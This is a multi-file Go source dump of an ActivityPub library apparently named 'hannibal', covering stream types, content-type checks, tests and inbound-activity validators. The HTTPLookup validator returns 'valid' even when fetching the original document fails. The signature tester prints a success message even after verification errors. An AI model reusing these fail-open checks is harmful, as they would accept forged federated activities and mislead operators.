vocab.ActivityTypeInvite, 30 | vocab.ActivityTypeJoin, 31 | vocab.ActivityTypeLeave, 32 | vocab.ActivityTypeLike, 33 | vocab.ActivityTypeListen, 34 | vocab.ActivityTypeMove, 35 | vocab.ActivityTypeOffer, 36 | vocab.ActivityTypeQuestion, 37 | vocab.ActivityTypeReject, 38 | vocab.ActivityTypeRead, 39 | vocab.ActivityTypeRemove, 40 | vocab.ActivityTypeTentativeReject, 41 | vocab.ActivityTypeTentativeAccept, 42 | vocab.ActivityTypeTravel, 43 | vocab.ActivityTypeUndo, 44 | vocab.ActivityTypeUpdate, 45 | vocab.ActivityTypeView: 46 | return true 47 | } 48 | 49 | return false 50 | } 51 | 52 | // NotActivity returns TRUE if this document does NOT represent an Activity 53 | func (document Document) NotActivity() bool { 54 | return !document.IsActivity() 55 | } 56 | 57 | // IsActor returns TRUE if this document represents an Actor 58 | func (document Document) IsActor() bool { 59 | 60 | switch document.Type() { 61 | 62 | case vocab.ActorTypeApplication, 63 | vocab.ActorTypeGroup, 64 | vocab.ActorTypeOrganization, 65 | vocab.ActorTypePerson, 66 | vocab.ActorTypeService: 67 | return true 68 | } 69 | 70 | return false 71 | } 72 | 73 | // NotActor returns TRUE if this document does NOT represent an Actor 74 | func (document Document) NotActor() bool { 75 | return !document.IsActor() 76 | } 77 | 78 | // IsCollection returns TRUE if this document represents a Collection or CollectionPage 79 | func (document Document) IsCollection() bool { 80 | 81 | switch document.Type() { 82 | case vocab.CoreTypeCollection, 83 | vocab.CoreTypeCollectionPage, 84 | vocab.CoreTypeOrderedCollection, 85 | vocab.CoreTypeOrderedCollectionPage: 86 | 87 | return true 88 | } 89 | 90 | return false 91 | } 92 | 93 | // NotCollection returns TRUE if the document does NOT represent a Collection or CollectionPage 94 | func (document Document) NotCollection() bool { 95 | return !document.IsCollection() 96 | } 97 | 98 | // IsObject returns TRUE if this document represents an Object type (Article, Note, etc) 99 | func (document Document) IsObject() bool { 100 | 101 | switch document.Type() { 102 | 103 | case vocab.ObjectTypeArticle, 104 | vocab.ObjectTypeAudio, 105 | vocab.ObjectTypeDocument, 106 | vocab.ObjectTypeEvent, 107 | vocab.ObjectTypeImage, 108 | vocab.ObjectTypeNote, 109 | vocab.ObjectTypePage, 110 | vocab.ObjectTypePlace, 111 | vocab.ObjectTypeProfile, 112 | vocab.ObjectTypeRelationship, 113 | vocab.ObjectTypeTombstone, 114 | vocab.ObjectTypeVideo: 115 | 116 | return true 117 | } 118 | 119 | return false 120 | } 121 | 122 | // NotObject returns TRUE if this document does NOT represent an Object type (Article, Note, etc) 123 | func (document Document) NotObject() bool { 124 | return !document.IsObject() 125 | } 126 | 127 | // Statistics returns counts for various interactions: Announces, Replies, Likes, and Dislikes 128 | func (document Document) Statistics() Statistics { 129 | return document.statistics 130 | } 131 | 132 | // HasImage returns TRUE if this document has a valid Image property 133 | func (document Document) HasImage() bool { 134 | return document.Image().NotNil() 135 | } 136 | 137 | // HasContent returns TRUE if this document has a valid Content property 138 | func (document Document) HasContent() bool { 139 | return document.Content() != "" 140 | } 141 | 142 | // HasSummary returns TRUE if this document has a valid Summary property 143 | func (document Document) HasSummary() bool { 144 | return document.Summary() != "" 145 | } 146 | 147 | func (document Document) HasDimensions() bool { 148 | return document.Width() > 0 && document.Height() > 0 149 | } 150 | 151 | func (document Document) AspectRatio() string { 152 | 153 | width := document.Width() 154 | height := document.Height() 155 | 156 | if width == 0 || height == 0 { 157 | return "auto" 158 | } 159 | 160 | ratio := float64(width) / float64(height) 161 | return strconv.FormatFloat(ratio, 'f', -1, 64) 162 | } 163 | 164 | // If this document is an activity (create, update, delete, etc), then 165 | // this method returns the activity's Object. Otherwise, it returns 166 | // the document itself. 167 | func (document Document) UnwrapActivity() Document { 168 | 169 | // If this is an "Activity" type, the dig deeper into the object 170 | // to find the actual document. 171 | // This is recursive because it's possible to have a deep tree 172 | // such as Announce > Create > Document. Looking at you, Lemmy... 173 | if document.IsActivity() { 174 | return document.Object().UnwrapActivity() 175 | } 176 | 177 | return document 178 | } 179 | -------------------------------------------------------------------------------- /streams/document_test.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/benpate/rosetta/mapof" 7 | "github.com/stretchr/testify/require" 8 | ) 9 | 10 | func TestDocument(t *testing.T) { 11 | 12 | d := NewDocument(map[string]any{ 13 | "id": "https://example.com", 14 | }) 15 | 16 | require.Equal(t, "https://example.com", d.ID()) 17 | } 18 | 19 | func TestDocumentMapOfAny(t *testing.T) { 20 | 21 | d := NewDocument(mapof.Any{ 22 | "id": "https://example.com", 23 | }) 24 | 25 | require.True(t, d.IsMap()) 26 | require.Equal(t, "https://example.com", d.ID()) 27 | } 28 | -------------------------------------------------------------------------------- /streams/image.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "github.com/utterproofre/hannibal/property" 5 | "github.com/utterproofre/hannibal/vocab" 6 | "github.com/benpate/rosetta/convert" 7 | "github.com/benpate/rosetta/mapof" 8 | "github.com/benpate/rosetta/sliceof" 9 | ) 10 | 11 | // https://www.w3.org/ns/activitystreams#Image 12 | type Image struct { 13 | value any 14 | } 15 | 16 | // NewImage creates a new Image object from a JSON-LD value (string, map[string]any, or []any) 17 | func NewImage(value any) Image { 18 | 19 | switch typed := value.(type) { 20 | 21 | case Document: 22 | return NewImage(typed.value.Raw()) 23 | 24 | case property.Value: 25 | return NewImage(typed.Raw()) 26 | 27 | case Image: 28 | return typed 29 | 30 | case string: 31 | return Image{value: typed} 32 | 33 | case map[string]any: 34 | return Image{value: typed} 35 | 36 | case []any: 37 | return Image{value: typed} 38 | 39 | case mapof.Any: 40 | return Image{value: map[string]any(typed)} 41 | 42 | case sliceof.Any: 43 | return Image{value: []any(typed)} 44 | } 45 | 46 | return Image{""} 47 | } 48 | 49 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-href 50 | // Note: URL is an alias for Href, which is the proper name to use 51 | func (image Image) URL() string { 52 | return image.Href() 53 | } 54 | 55 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-href 56 | // Note: This method searches both the "href" and "url" properties in maps. 57 | func (image Image) Href() string { 58 | 59 | switch typed := image.value.(type) { 60 | 61 | case string: 62 | return typed 63 | 64 | case map[string]any: 65 | 66 | if href := convert.String(typed[vocab.PropertyHref]); href != "" { 67 | return href 68 | } 69 | 70 | if url := convert.String(typed[vocab.PropertyURL]); url != "" { 71 | 72 | return url 73 | } 74 | 75 | case []any: 76 | if len(typed) > 0 { 77 | return NewImage(typed[0]).URL() 78 | } 79 | } 80 | 81 | return "" 82 | } 83 | 84 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-summary 85 | func (image Image) Summary() string { 86 | 87 | switch typed := image.value.(type) { 88 | 89 | case map[string]any: 90 | return convert.String(typed[vocab.PropertySummary]) 91 | 92 | case []any: 93 | if len(typed) > 0 { 94 | return NewImage(typed[0]).Summary() 95 | } 96 | } 97 | 98 | return "" 99 | } 100 | 101 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-mediatype 102 | func (image Image) MediaType() string { 103 | 104 | switch typed := image.value.(type) { 105 | 106 | case map[string]any: 107 | return convert.String(typed[vocab.PropertyMediaType]) 108 | 109 | case []any: 110 | if len(typed) > 0 { 111 | return NewImage(typed[0]).MediaType() 112 | } 113 | } 114 | 115 | return "" 116 | } 117 | 118 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-height 119 | func (image Image) Height() int { 120 | 121 | switch typed := image.value.(type) { 122 | 123 | case map[string]any: 124 | return convert.Int(typed[vocab.PropertyHeight]) 125 | 126 | case []any: 127 | if len(typed) > 0 { 128 | return NewImage(typed[0]).Height() 129 | } 130 | } 131 | 132 | return 0 133 | } 134 | 135 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-width 136 | func (image Image) Width() int { 137 | 138 | switch typed := image.value.(type) { 139 | 140 | case map[string]any: 141 | return convert.Int(typed[vocab.PropertyWidth]) 142 | 143 | case []any: 144 | if len(typed) > 0 { 145 | return NewImage(typed[0]).Width() 146 | } 147 | } 148 | 149 | return 0 150 | } 151 | 152 | // IsNil returns TRUE if this image is nil (having no URL) 153 | func (image Image) IsNil() bool { 154 | return image.URL() == "" 155 | } 156 | 157 | // NotNil returns TRUE if this image has a URL 158 | func (image Image) NotNil() bool { 159 | return !image.IsNil() 160 | } 161 | 162 | // HasHeight returns TRUE if this image has a height defined 163 | func (image Image) HasHeight() bool { 164 | return image.Height() > 0 165 | } 166 | 167 | // HasWidth returns TRUE if this image has a width defined 168 | func (image Image) HasWidth() bool { 169 | return image.Width() > 0 170 | } 171 | 172 | // HasDimensions returns TRUE if this image has both a height and width defined 173 | func (image Image) HasDimensions() bool { 174 | return image.HasHeight() && image.HasWidth() 175 | } 176 | 177 | // AspectRatio calculates the aspect ratio of the image (width / height) 178 | // If height and width are not available, then 0 is returned 179 | func (image Image) AspectRatio() float64 { 180 | if image.HasDimensions() { 181 | return float64(image.Width()) / float64(image.Height()) 182 | } 183 | 184 | return 0 185 | } 186 | -------------------------------------------------------------------------------- /streams/items.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | func UnmarshalItems(data any) ([]any, bool) { 4 | result, ok := data.([]any) 5 | return result, ok 6 | } 7 | -------------------------------------------------------------------------------- /streams/options.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | // OptionStripContext instructs the Document.Map() method to remove the "@context" property from its ouput. 4 | const OptionStripContext = "STRIP_CONTEXT" 5 | 6 | // OptionStripRecipients instructs the Document.Map() method to remove all recipient properties from its output. 7 | // (To, BTo, CC, BCC) 8 | const OptionStripRecipients = "STRIP_RECCIPIENTS" 9 | -------------------------------------------------------------------------------- /streams/orderedCollection.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/vocab" 8 | "github.com/benpate/rosetta/mapof" 9 | ) 10 | 11 | // OrderedCollection is a subtype of Collection in which members of the logical collection are assumed to always be strictly ordered. 12 | // https://www.w3.org/ns/activitystreams#OrderedCollection 13 | type OrderedCollection struct { 14 | Context Context `json:"@context,omitempty" bson:"@context,omitempty"` 15 | ID string `json:"id,omitempty" bson:"id,omitempty"` 16 | Type string `json:"type,omitempty" bson:"type,omitempty"` 17 | Summary string `json:"summary,omitempty" bson:"summary,omitempty"` // A natural language summarization of the object encoded as HTML. Multiple language tagged summaries may be provided. 18 | TotalItems int `json:"totalItems,omitempty" bson:"totalItems,omitempty"` // A non-negative integer specifying the total number of objects contained by the logical view of the collection. This number might not reflect the actual number of items serialized within the Collection object instance. 19 | OrderedItems []any `json:"orderedItems,omitempty" bson:"orderedItems,omitempty"` // Identifies the items contained in a collection. The items might be ordered or unordered. 20 | Current string `json:"current,omitempty" bson:"current,omitempty"` // In a paged Collection, indicates the page that contains the most recently updated member items. 21 | First string `json:"first,omitempty" bson:"first,omitempty"` // In a paged Collection, indicates the furthest preceding page of items in the collection. 22 | Last string `json:"last,omitempty" bson:"last,omitempty"` // In a paged Collection, indicates the furthest proceeding page of the collection. 23 | } 24 | 25 | func NewOrderedCollection(collectionID string) OrderedCollection { 26 | return OrderedCollection{ 27 | Context: DefaultContext(), 28 | Type: vocab.CoreTypeOrderedCollection, 29 | ID: collectionID, 30 | OrderedItems: make([]any, 0), 31 | } 32 | } 33 | 34 | func (c *OrderedCollection) UnmarshalJSON(data []byte) error { 35 | 36 | result := mapof.NewAny() 37 | 38 | if err := json.Unmarshal(data, &result); err != nil { 39 | return derp.Wrap(err, "activitystreams.OrderedCollection.UnmarshalJSON", "Error unmarshalling JSON", string(data)) 40 | } 41 | 42 | return c.UnmarshalMap(result) 43 | } 44 | 45 | func (c *OrderedCollection) UnmarshalMap(data mapof.Any) error { 46 | 47 | if dataType := data.GetString("type"); dataType != vocab.CoreTypeOrderedCollection { 48 | return derp.InternalError("activitystreams.OrderedCollection.UnmarshalMap", "Invalid type", dataType) 49 | } 50 | 51 | c.Type = vocab.CoreTypeOrderedCollection 52 | c.Summary = data.GetString("summary") 53 | c.TotalItems = data.GetInt("totalItems") 54 | c.Current = data.GetString("current") 55 | c.First = data.GetString("first") 56 | c.Last = data.GetString("last") 57 | 58 | if dataItems, ok := data["items"]; ok { 59 | if items, ok := UnmarshalItems(dataItems); ok { 60 | c.OrderedItems = items 61 | } 62 | } 63 | 64 | return nil 65 | } 66 | -------------------------------------------------------------------------------- /streams/orderedCollectionPage.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import ( 4 | "encoding/json" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/vocab" 8 | "github.com/benpate/rosetta/mapof" 9 | ) 10 | 11 | // OrderedCollectionPage is used to represent ordered subsets of items from an OrderedCollection. Refer to the Activity Streams 2.0 Core for a complete description of the OrderedCollectionPage object. 12 | // https://www.w3.org/ns/activitystreams#OrderedCollectionPage 13 | type OrderedCollectionPage struct { 14 | Context Context `json:"@context,omitempty" bson:"context,omitempty"` 15 | Type string `json:"type,omitempty" bson:"type,omitempty"` 16 | ID string `json:"id,omitempty" bson:"id,omitempty"` // Provides the globally unique identifier for an Object or Link. 17 | Summary string `json:"summary,omitempty" bson:"summary,omitempty"` // A natural language summarization of the object encoded as HTML. Multiple language tagged summaries may be provided. 18 | TotalItems int `json:"totalItems,omitempty" bson:"totalItems,omitempty"` // A non-negative integer specifying the total number of objects contained by the logical view of the collection. This number might not reflect the actual number of items serialized within the Collection object instance. 19 | Current string `json:"current,omitempty" bson:"current,omitempty"` // In a paged Collection, indicates the page that contains the most recently updated member items. 20 | First string `json:"first,omitempty" bson:"first,omitempty"` // In a paged Collection, indicates the furthest preceding page of items in the collection. 21 | Last string `json:"last,omitempty" bson:"last,omitempty"` // In a paged Collection, indicates the furthest proceeding page of the collection. 22 | StartIndex int `json:"startIndex,omitempty" bson:"startIndex,omitempty"` // A non-negative integer value identifying the relative position within the logical view of a strictly ordered collection. 23 | PartOf string `json:"partOf,omitempty" bson:"partOf,omitempty"` // dentifies the Collection to which a CollectionPage objects items belong. 24 | Prev string `json:"prev,omitempty" bson:"prev,omitempty"` // In a paged Collection, identifies the previous page of items. 25 | Next string `json:"next,omitempty" bson:"next,omitempty"` // In a paged Collection, indicates the next page of items. 26 | OrderedItems []any `json:"orderedItems,omitempty" bson:"orderedItems,omitempty"` // Identifies the items contained in a collection. The items might be ordered or unordered. 27 | } 28 | 29 | func NewOrderedCollectionPage(pageID string, partOf string) OrderedCollectionPage { 30 | return OrderedCollectionPage{ 31 | Context: DefaultContext(), 32 | Type: vocab.CoreTypeOrderedCollectionPage, 33 | ID: pageID, 34 | PartOf: partOf, 35 | OrderedItems: make([]any, 0), 36 | } 37 | } 38 | 39 | func (c *OrderedCollectionPage) UnmarshalJSON(data []byte) error { 40 | 41 | result := mapof.NewAny() 42 | 43 | if err := json.Unmarshal(data, &result); err != nil { 44 | return derp.Wrap(err, "activitystreams.OrderedCollectionPage.UnmarshalJSON", "Error unmarshalling JSON", string(data)) 45 | } 46 | 47 | return c.UnmarshalMap(result) 48 | } 49 | 50 | func (c *OrderedCollectionPage) UnmarshalMap(data mapof.Any) error { 51 | 52 | if dataType := data.GetString("type"); dataType != vocab.CoreTypeOrderedCollectionPage { 53 | return derp.InternalError("activitystreams.OrderedCollectionPage.UnmarshalMap", "Invalid type", dataType) 54 | } 55 | 56 | c.Type = vocab.CoreTypeOrderedCollectionPage 57 | c.ID = data.GetString("id") 58 | c.Summary = data.GetString("summary") 59 | c.TotalItems = data.GetInt("totalItems") 60 | c.Current = data.GetString("current") 61 | c.First = data.GetString("first") 62 | c.Last = data.GetString("last") 63 | c.StartIndex = data.GetInt("startIndex") 64 | c.PartOf = data.GetString("partOf") 65 | c.Prev = data.GetString("prev") 66 | c.Next = data.GetString("next") 67 | 68 | if dataItems, ok := data["items"]; ok { 69 | if items, ok := UnmarshalItems(dataItems); ok { 70 | c.OrderedItems = items 71 | } 72 | } 73 | 74 | return nil 75 | } 76 | -------------------------------------------------------------------------------- /streams/range.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | import "iter" 4 | 5 | func Range(document Document) iter.Seq[Document] { 6 | 7 | return func(yield func(Document) bool) { 8 | for ; document.NotNil(); document = document.Tail() { 9 | if !yield(document.Head()) { 10 | return 11 | } 12 | } 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /streams/statistics.go: -------------------------------------------------------------------------------- 1 | package streams 2 | 3 | // Statistics contains totals for various interactions with a document 4 | type Statistics struct { 5 | Replies int64 `json:"replies" bson:"replies,omitempty"` // Replies is the number of replies to this document 6 | Likes int64 `json:"likes" bson:"likes,omitempty"` // Likes is the number of times this document has been liked 7 | Dislikes int64 `json:"dislikes" bson:"dislikes,omitempty"` // Dislikes is the number of times this document has been disliked 8 | Announces int64 `json:"announces" bson:"announces,omitempty"` // Announces is the number of times this document has been announced / reposted 9 | } 10 | 11 | // NewStatistics returns a fully initialized Statistics object 12 | func NewStatistics() Statistics { 13 | return Statistics{} 14 | } 15 | 16 | func (stats Statistics) IsEmpty() bool { 17 | return !stats.NotEmpty() 18 | } 19 | 20 | func (stats Statistics) NotEmpty() bool { 21 | return stats.HasReplies() || stats.HasLikes() || stats.HasAnnounces() || stats.HasDislikes() 22 | } 23 | 24 | func (stats Statistics) HasReplies() bool { 25 | return stats.Replies > 0 26 | } 27 | 28 | func (stats Statistics) HasLikes() bool { 29 | return stats.Likes > 0 30 | } 31 | 32 | func (stats Statistics) HasDislikes() bool { 33 | return stats.Dislikes > 0 34 | } 35 | 36 | func (stats Statistics) HasAnnounces() bool { 37 | return stats.Announces > 0 38 | } 39 | -------------------------------------------------------------------------------- /test-signatures/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bufio" 5 | "fmt" 6 | "net/http" 7 | "os" 8 | 9 | "github.com/benpate/derp" 10 | "github.com/utterproofre/hannibal/clients" 11 | "github.com/utterproofre/hannibal/sigs" 12 | "github.com/utterproofre/hannibal/streams" 13 | "github.com/davecgh/go-spew/spew" 14 | "github.com/rs/zerolog" 15 | "github.com/rs/zerolog/log" 16 | ) 17 | 18 | func main() { 19 | 20 | // Logging Configuration 21 | zerolog.TimeFieldFormat = zerolog.TimeFormatUnix 22 | log.Logger = log.Output(zerolog.ConsoleWriter{ 23 | Out: os.Stderr, 24 | NoColor: false, 25 | TimeFormat: "", 26 | }) 27 | 28 | fmt.Println("HTTP Signature Tester") 29 | fmt.Println("This is a bare-bones tool for testing") 30 | fmt.Println("HTTP signatures. Paste in an HTTP request") 31 | fmt.Println("and it will attempt to verify the signature") 32 | fmt.Println("using the publick key found in the document.") 33 | fmt.Println("") 34 | fmt.Println("Paste HTTP Request Now:") 35 | fmt.Println("-----------------------") 36 | 37 | request, err := http.ReadRequest(bufio.NewReader(os.Stdin)) 38 | 39 | if err != nil { 40 | derp.Report(err) 41 | return 42 | } 43 | 44 | fmt.Println("") 45 | fmt.Println("") 46 | fmt.Println("Processing HTTP Request") 47 | fmt.Println("-----------------------") 48 | 49 | verifier := sigs.NewVerifier() 50 | if err := verifier.Verify(request, keyFinder()); err != nil { 51 | spew.Dump(err) 52 | } 53 | fmt.Println("") 54 | fmt.Println("HTTP SIGNATURE VERIFIED SUCCESSFULLY.") 55 | } 56 | 57 | func keyFinder() sigs.PublicKeyFinder { 58 | 59 | return func(keyID string) (string, error) { 60 | 61 | hashClient := clients.NewHashLookup(streams.NewDefaultClient()) 62 | 63 | document, err := hashClient.Load(keyID) 64 | 65 | if err != nil { 66 | return "", derp.Wrap(err, "hannibal.validator.HTTPSig.keyFinder", "Error retrieving Actor from ActivityPub document", keyID) 67 | } 68 | 69 | publicKeyPEM := document.PublicKeyPEM() 70 | 71 | return publicKeyPEM, nil 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /utils.go: -------------------------------------------------------------------------------- 1 | package hannibal 2 | 3 | import ( 4 | "net/http" 5 | "strings" 6 | "time" 7 | 8 | "github.com/utterproofre/hannibal/vocab" 9 | "github.com/benpate/rosetta/list" 10 | ) 11 | 12 | // TimeFormat returns a string representation of the provided time value, 13 | // using the format designated by the W3C spec: https://www.w3.org/TR/activitystreams-core/#dates 14 | func TimeFormat(value time.Time) string { 15 | return value.UTC().Format(http.TimeFormat) 16 | } 17 | 18 | // IsActivityPubContentType returns TRUE if the provided contentType is a valid ActivityPub content type. 19 | // https://www.w3.org/TR/activitystreams-core/#media-type 20 | func IsActivityPubContentType(contentType string) bool { 21 | 22 | // If multiple content types are provided, then only check the first one. 23 | contentType = list.First(contentType, ',') 24 | 25 | // Strip off any parameters from the content type (like charsets and json-ld profiles) 26 | contentType = list.First(contentType, ';') 27 | 28 | // Remove whitespace around the actual value 29 | contentType = strings.TrimSpace(contentType) 30 | 31 | // If what remains matches any of these values, then Success! 32 | switch contentType { 33 | case vocab.ContentTypeActivityPub, 34 | vocab.ContentTypeJSON, 35 | vocab.ContentTypeJSONLD: 36 | return true 37 | } 38 | 39 | // Failure. 40 | return false 41 | } 42 | -------------------------------------------------------------------------------- /utils_test.go: -------------------------------------------------------------------------------- 1 | package hannibal 2 | 3 | import ( 4 | "testing" 5 | 6 | "github.com/stretchr/testify/require" 7 | ) 8 | 9 | func TestIsActivityPubContentType(t *testing.T) { 10 | require.True(t, IsActivityPubContentType("application/json")) 11 | require.True(t, IsActivityPubContentType("application/json; everything after the semicolon is ignored")) 12 | require.True(t, IsActivityPubContentType("application/json; whocares=notme")) 13 | require.True(t, IsActivityPubContentType("application/activity+json")) 14 | require.True(t, IsActivityPubContentType("application/activity+json; charset=utf-8")) 15 | require.True(t, IsActivityPubContentType("application/ld+json")) 16 | require.True(t, IsActivityPubContentType("application/ld+json; profile=\"https://www.w3.org/ns/activitystreams\"")) 17 | 18 | require.False(t, IsActivityPubContentType("literally anything else")) 19 | require.False(t, IsActivityPubContentType("application/xml")) 20 | require.False(t, IsActivityPubContentType("application/xml; whocares=notme")) 21 | require.False(t, IsActivityPubContentType("image/webp")) 22 | } 23 | -------------------------------------------------------------------------------- /validator/deleted-objects.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/streams" 8 | "github.com/utterproofre/hannibal/vocab" 9 | "github.com/benpate/remote" 10 | ) 11 | 12 | // DeletedObject validates "delete" activities by trying to retrieve the original object. 13 | type DeletedObject struct{} 14 | 15 | // NewDeletedObject returns a fully initialized DeletedObject validator. 16 | func NewDeletedObject() DeletedObject { 17 | return DeletedObject{} 18 | } 19 | 20 | // Validate implements the Validator interface, which performs the actual validation. 21 | func (v DeletedObject) Validate(request *http.Request, document *streams.Document) Result { 22 | 23 | const location = "hannibal.validator.DeletedObject" 24 | 25 | // Only validate "Delete" activities 26 | if document.Type() != vocab.ActivityTypeDelete { 27 | return ResultUnknown 28 | } 29 | 30 | // Wait for ten minutes before checking. 31 | // TODO: This job should be queued (or something) in the future. 32 | // time.Sleep(10 * time.Minute) 33 | 34 | // Retrieve the objectID from the document 35 | objectID := document.Object().ID() 36 | 37 | if objectID == "" { 38 | return ResultInvalid 39 | } 40 | 41 | // log.Trace().Str("objectID", objectID).Str("location", location).Msg("Validating DeletedObject") 42 | 43 | // Try to retrieve the original document 44 | txn := remote.Get(objectID). 45 | Header("Accept", "application/activity+json") 46 | 47 | if err := txn.Send(); err != nil { 48 | 49 | // log.Trace().Err(err).Int("code", derp.ErrorCode(err)).Str("location", location).Msg("Received error code") 50 | 51 | // If the document is marked "gone" or "not found", 52 | // then this "delete" transaction is valid. 53 | switch derp.ErrorCode(err) { 54 | case http.StatusNotFound, http.StatusGone: 55 | return ResultValid 56 | } 57 | 58 | // We're not expecting this error, so perhaps there's something else going on here. 59 | derp.Report(derp.Wrap(err, location, "Error retrieving document, but it is not 'gone' or 'not found'")) 60 | return ResultUnknown 61 | } 62 | 63 | // Log the server response 64 | // log.Trace().Str("location", location).Msg("Delete is invalid / document still exists") 65 | // body, err := io.ReadAll(txn.Response().Body) 66 | // log.Trace().Err(err).Msg(string(body)) 67 | 68 | // Fall through means that the document still exists, so the "delete" transaction is invalid. 69 | return ResultInvalid 70 | } 71 | -------------------------------------------------------------------------------- /validator/http-lookup.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/property" 8 | "github.com/utterproofre/hannibal/streams" 9 | "github.com/utterproofre/hannibal/vocab" 10 | ) 11 | 12 | // HTTPLookup is a Validator that tries to retrieve the original document from the source server 13 | type HTTPLookup struct{} 14 | 15 | func NewHTTPLookup() HTTPLookup { 16 | return HTTPLookup{} 17 | } 18 | 19 | func (v HTTPLookup) Validate(request *http.Request, document *streams.Document) Result { 20 | 21 | // return ResultUnknown 22 | 23 | const location = "hannibal.validator.HTTPLookup" 24 | 25 | switch document.Type() { 26 | case vocab.ActivityTypeCreate, vocab.ActivityTypeUpdate: 27 | default: 28 | return ResultUnknown 29 | } 30 | 31 | // Get the ObjectID of the document 32 | objectID := document.Object().ID() 33 | 34 | if objectID == "" { 35 | return ResultInvalid 36 | } 37 | 38 | // Load the original document 39 | original, err := document.Client().Load(objectID) 40 | 41 | if err != nil { 42 | derp.Report(derp.Wrap(err, location, "Error loading original document", objectID)) 43 | } 44 | 45 | // Extract the value from the "original" retrieved document and replace it int the 46 | // document that was passed in 47 | value := original.Value() 48 | propertyValue := property.NewValue(value) 49 | document.SetValue(propertyValue) 50 | 51 | // Return in triumph 52 | return ResultValid 53 | } 54 | -------------------------------------------------------------------------------- /validator/http-signatures.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/benpate/derp" 7 | "github.com/utterproofre/hannibal/sigs" 8 | "github.com/utterproofre/hannibal/streams" 9 | "github.com/rs/zerolog/log" 10 | ) 11 | 12 | // HTTPSig is a Validator that checks incoming HTTP requests 13 | // using the HTTP signatures algorithm. 14 | // https://docs.joinmastodon.org/spec/security/ 15 | type HTTPSig struct{} 16 | 17 | func NewHTTPSig() HTTPSig { 18 | return HTTPSig{} 19 | } 20 | 21 | // Validate uses the hannibal/sigs library to verify that the HTTP 22 | // request is signed with a valid key. 23 | func (validator HTTPSig) Validate(request *http.Request, document *streams.Document) Result { 24 | 25 | if !sigs.HasSignature(request) { 26 | return ResultUnknown 27 | } 28 | 29 | // Find the public key for the Actor who signed this request 30 | keyFinder := validator.keyFinder(document) 31 | 32 | // Verify the request using the Actor's public key 33 | if err := sigs.Verify(request, keyFinder); err != nil { 34 | log.Trace().Err(err).Msg("Hannibal Inbox: Error verifying HTTP Signature") 35 | return ResultInvalid 36 | } 37 | 38 | log.Trace().Msg("Hannibal Inbox: HTTP Signature Verified") 39 | return ResultValid 40 | } 41 | 42 | // keyFinder looks up the public Key for the provided document/Actor using the 43 | // HTTP client in the document. 44 | func (validator HTTPSig) keyFinder(document *streams.Document) sigs.PublicKeyFinder { 45 | 46 | const location = "hannibal.validator.HTTPSig.keyFinder" 47 | 48 | return func(keyID string) (string, error) { 49 | 50 | // Load the Actor from the document 51 | actor, err := document.Actor().Load() 52 | 53 | if err != nil { 54 | return "", derp.Wrap(err, location, "Error retrieving Actor from ActivityPub document", document.Value()) 55 | } 56 | 57 | // Search the Actor's public keys for the one that matches the provided keyID 58 | for key := actor.PublicKey(); key.NotNil(); key = key.Tail() { 59 | 60 | if key.ID() == keyID { 61 | return key.PublicKeyPEM(), nil 62 | } 63 | } 64 | 65 | // If none match, then return a (hopefully informative) error. 66 | log.Trace().Str("keyId", keyID).Msg("Hannibal Inbox: Could not find remote actor's public key") 67 | return "", derp.BadRequestError(location, "Actor must publish the key used to sign this request", actor.ID(), keyID) 68 | } 69 | } 70 | -------------------------------------------------------------------------------- /validator/identityProofs.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | import ( 4 | "net/http" 5 | 6 | "github.com/utterproofre/hannibal/streams" 7 | ) 8 | 9 | // IdentityProof implements FEP-c390 Identity Proofs 10 | // https://codeberg.org/fediverse/fep/src/branch/main/fep/c390/fep-c390.md 11 | type IdentityProof struct{} 12 | 13 | func (v IdentityProof) Validate(request *http.Request, document streams.Document) Result { 14 | 15 | return ResultUnknown 16 | } 17 | -------------------------------------------------------------------------------- /validator/result.go: -------------------------------------------------------------------------------- 1 | package validator 2 | 3 | // Result indicates the outcome of a validation attempt 4 | type Result string 5 | 6 | // ResultValid indicates that the current Validator has successfully validated the HTTP request 7 | const ResultValid Result = "VALID" 8 | 9 | // ResultInvalid indicates that the current Validator can say with certainty that the HTTP request is invalid 10 | const ResultInvalid Result = "INVALID" 11 | 12 | // ResultUnknown indicates that the current Validator cannot say that the HTTP request is valid or invalid 13 | const ResultUnknown Result = "UNKNOWN" 14 | 15 | // ResultError indicates that the current Validator encountered an error while attempting to validate the HTTP request 16 | const ResultError Result = "ERROR" 17 | -------------------------------------------------------------------------------- /vocab/README.md: -------------------------------------------------------------------------------- 1 | ## Hannibal / vocab 2 | 3 | This package contains all of the commonly used constants from the current 4 | [ActivityStreams Vocabulary](https://www.w3.org/TR/activitystreams-vocabulary/), 5 | along with a couple of simple validation functions that verify that a string 6 | input matches certain designated types. 7 | 8 | This package is used by the other Hannibal packages to guarantee that we're always 9 | using the right values in the right places. -------------------------------------------------------------------------------- /vocab/activityTypes.go: -------------------------------------------------------------------------------- 1 | package vocab 2 | 3 | // https://www.w3.org/TR/activitystreams-vocabulary/#dfn-accept 4 | const ActivityTypeAccept = "Accept" 5 | 6 | // 